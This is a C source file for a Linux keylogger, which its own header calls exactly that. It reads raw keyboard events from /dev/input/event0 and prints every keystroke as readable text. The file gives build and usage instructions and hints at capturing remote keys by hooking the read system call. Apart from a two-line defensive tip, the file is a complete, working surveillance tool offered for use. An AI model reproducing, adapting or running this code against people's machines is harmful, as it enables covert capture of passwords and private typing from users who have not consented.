c/keylogger/klog.c

   1 /* event0log.c v0.9
   2  * <~~Harvie 2oo8-2o21
   3  * THX2:        Dayvee (Idea), joe@aol.com (Reversing),
   4  *                              -=Punka][Tux=- (BugReport),
   5  *                              Warriant's code (Inspiration), Linus (Linux)
   6  *
   7  * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
   8  * In other words: this is keylogger for Linux.
   9  * If you have more keyboards, try other events (event1, ...eventX).
  10  * Only local keyboard is supported,
  11  *  remote keys can be captured by hooking on SYS_read() system call.
  12  *
  13  * Build:
  14  * - gcc argv[0].c -o argv[0]
  15  *
  16  * Usage (all examples do the same):
  17  * - cat /dev/input/event0 | argv[0]
  18  * - argv[0] /dev/input/event0
  19  * - argv[0] -
  20  *
  21  * Adding new keystroke values:
  22  * - <XXX> = keystroke id
  23  * - set MAXSTROKE to 0 to get only keystroke values
  24  *
  25  * Defensive security:
  26  * - chown & chmod /dev/input/event0
  27  * - don't give cheap root to everybody
  28  */
  29
  30 #include <stdio.h>
  31 #include <stdlib.h>
  32 #include <stdint.h>
  33 #include <unistd.h>
  34 #include <signal.h>
  35 #include <time.h>
  36 #define DEFAULTINPUT "/dev/input/event0"
  37
  38 typedef struct __attribute__((__packed__)) input_event_s {
  39         struct timeval time;
  40         unsigned short type;
  41         unsigned short code;
  42         unsigned int value;
  43 } input_event_t;
  44
  45 time_t timestamp = 0;
  46
  47 #define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted)
  48 char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
  49         "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14
  50         "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28
  51         "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44
  52         "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57
  53         "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69
  54         "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83
  55         "[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\|]", "[F11]", "[F12]",
  56         "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n",
  57         "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]",    "<102>",
  58         "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
  59         "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
  60         "<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>",
  61         "<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>",
  62         "<140>", "<141>", "<142>", "[Fn]",  "<144>", "<145>", "<146>", "<147>", "<148>", "<149>",
  63         "<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>", "[BACK]", "[FORW]",
  64         "<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>"
  65         /* Hint:
  66                 [CAPSL][ESC]    = CapsLock On
  67                 [CAPSL]         = CapsLock Off
  68                 [NUML]<0>       = NumLock On
  69                 [NUML]          = NumLock Off
  70                 3[ESC]3         = Escape
  71         */
  72 };
  73
  74 void cleanup(void) {
  75         fclose(stdin);
  76         fclose(stdout);
  77 }
  78
  79 static void sigint_handler(int signo) {
  80         exit(0);
  81 }
  82
  83 int main(int argc, char *argv[]) {
  84
  85         atexit(&cleanup);
  86         signal(SIGINT, &sigint_handler);
  87         signal(SIGTERM, &sigint_handler);
  88         signal(SIGQUIT, &sigint_handler);
  89         signal(SIGSEGV, &sigint_handler);
  90
  91
  92         printf("Scancode DB size: %d B (0-%d)", sizeof(strokes), MAXSTROKE);
  93
  94         char * filepath = NULL;
  95         if(argc > 1 && argv[1][0] != '-') {
  96                 filepath = &argv[1][0];
  97         }
  98         if(argc > 1 && argv[1][0] == '-') {
  99                 filepath = DEFAULTINPUT;
 100         }
 101
 102
 103         while(1) {
 104
 105         while(1) {
 106                 if(filepath != NULL && freopen(filepath, "rb", stdin) == NULL) {
 107                         printf("\n%lu\tFailed to open file %s", time(NULL), filepath);
 108                         sleep(1);
 109                         continue;
 110                         //return(1);
 111                 } else {
 112                         if(filepath != NULL) printf("\n%lu\tOpened file %s\n", time(NULL), filepath);
 113                         break;
 114                 }
 115         }
 116         setbuf(stdout, NULL);
 117
 118
 119         input_event_t input_event;
 120         while(read(0, &input_event, sizeof(input_event_t)) != -1) {
 121                 if(input_event.type != 1 || input_event.value != 1) continue;
 122                 //printf("\n%lu\tTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.time.tv_sec, input_event.type, input_event.code, input_event.value);
 123                 if(input_event.code <= MAXSTROKE) {
 124                         printf("%s", strokes[input_event.code]);
 125                 } else {
 126                         printf("<%d>", input_event.code);
 127                 }
 128         }
 129
 130         }
 131
 132 }